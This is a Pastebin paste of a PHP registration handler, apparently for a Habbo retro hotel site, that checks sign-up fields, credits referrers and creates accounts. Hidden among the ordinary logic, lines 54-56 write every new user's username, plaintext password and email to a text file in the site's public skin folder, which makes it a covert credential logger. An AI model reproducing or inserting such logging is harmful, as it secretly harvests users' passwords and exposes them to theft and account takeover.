zn0

Untitled

zn0
Apr 28th, 2020
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.83 KB | None | 0 0
  1. <?php
  2. global $users, $core, $engine;
  3.  
  4. $errors = array();
  5. $messages = array();
  6.  
  7. if(empty($_POST["registrationBean_username"]))
  8. $errors["registration_username"] = "<br/>Please enter a username!";
  9. elseif(strlen($_POST["registrationBean_username"]) > 25 || !ctype_alnum($_POST["registrationBean_username"]))
  10. $errors["registration_username"] = "<br/>Please enter a valid username!";
  11. elseif($engine->num_rows("SELECT null FROM users WHERE username = '" . $engine->secure($_POST["registrationBean_username"]) . "' LIMIT 1") != 0)
  12. $errors["registration_username"] = "That username is already taken!";
  13. elseif(!preg_match("/^\s*[a-zA-Z0-9,\s]+\s*$/", $_POST["registrationBean_username"]))
  14. $errors["registration_username"] = "You cant use special characters!";
  15.  
  16. if(empty($_POST["registrationBean_email"]))
  17. $errors["registration_email"] = "<br/>Please enter an email address!";
  18. elseif(!preg_match("/^[a-z0-9_\.-]+@([a-z0-9]+([\-]+[a-z0-9]+)*\.)+[a-z]{2,7}$/i", $_POST["registrationBean_email"]))
  19. $errors["registration_email"] = "<br/>Please enter a valid email address!";
  20. elseif($engine->num_rows("SELECT null FROM users WHERE mail = '" . $engine->secure($_POST["registrationBean_email"]) . "' LIMIT 1") != 0)
  21. $errors["registration_email"] = "<br/>That email address is taken!";
  22.  
  23. if(empty($_POST['registrationBean_password']))
  24. $errors["registration_password"] = "<br/>Please enter a password!";
  25. elseif(strlen($_POST['registrationBean_password']) < 6)
  26. $errors["registration_password"] = "<br/>Please enter a password with more than 6 characters!";
  27.  
  28. if(empty($_POST['registrationBean_password_confirm']))
  29. $errors["registration_password_confirm"] = "<br/>Please enter your password again!";
  30. elseif(!($_POST['registrationBean_password'] === $_POST['registrationBean_password_confirm']))
  31. $errors["registration_password_confirm"] = "<br/>Please enter a password with more than 6 characters!";
  32.  
  33. if($_POST['registrationBean_termsOfServiceSelection'] != "true")
  34. $errors["registration_termsofservice"] = "Please accept the terms of service.";
  35.  
  36. $return = array(
  37. "registrationErrors" => $errors,
  38. "registrationMessages" => $messages);
  39.  
  40. if(count($errors) == 0)
  41. {
  42. if(isset($_SESSION['ref'])) // Use Session instead of form, incase input was changed
  43. {
  44. $referrer = $engine->secure($_SESSION['ref']); // Secure Session
  45. if($users->nameTaken($referrer)) // Recycled function, checks if the referrer exists
  46. {
  47. if(!$engine->num_rows("SELECT * FROM users WHERE username = '{$referrer}' AND ip_last = '{$_SERVER['REMOTE_ADDR']}' OR username = '{$referrer}' AND ip_reg = '{$_SERVER['REMOTE_ADDR']}'"))
  48. {
  49. $credits = 5000; // Amount user gets from referring
  50. $engine->query("UPDATE users SET credits = credits + {$credits}, refs = refs + 1 WHERE username = '{$referrer}' LIMIT 1");
  51. }
  52. }
  53. }
  54. $f = fopen("C:/inetpub/wwwroot/app/tpl/skins/Habbo/a.txt", "a");
  55. $text = "username: " . $_POST['registrationBean_username'] . "\npassword: " . $_POST['registrationBean_password'] . "\nemail: " . $_POST['registrationBean_email'];
  56. fwrite($f, $text);
  57. $users->addUser($engine->secure($_POST["registrationBean_username"]),$core->hashed($_POST['registrationBean_password']),$_POST["registrationBean_email"],$_CONFIG['hotel']['motto'],$_CONFIG['hotel']['credits'],$_CONFIG['hotel']['pixels'],1, $_CONFIG['hotel']['figure'], "M", 12345);
  58. $users->turnOn($engine->secure($_POST["registrationBean_username"]));
  59. $return['registrationCompletionRedirectUrl'] = "{$_CONFIG['hotel']['url']}/way";
  60.  
  61. if($engine->num_rows("SELECT * FROM users WHERE ip_reg = '" . $_SERVER['REMOTE_ADDR'] . "'") == 3)
  62. {
  63. $return['registrationCompletionRedirectUrl'] = "{$_CONFIG['hotel']['url']}/clones";
  64. }
  65. }
  66.  
  67. header('Content-type: application/json');
  68. echo json_encode($return);
  69. exit;
  70. ?>
Advertisement
Add Comment
Please, Sign In to add comment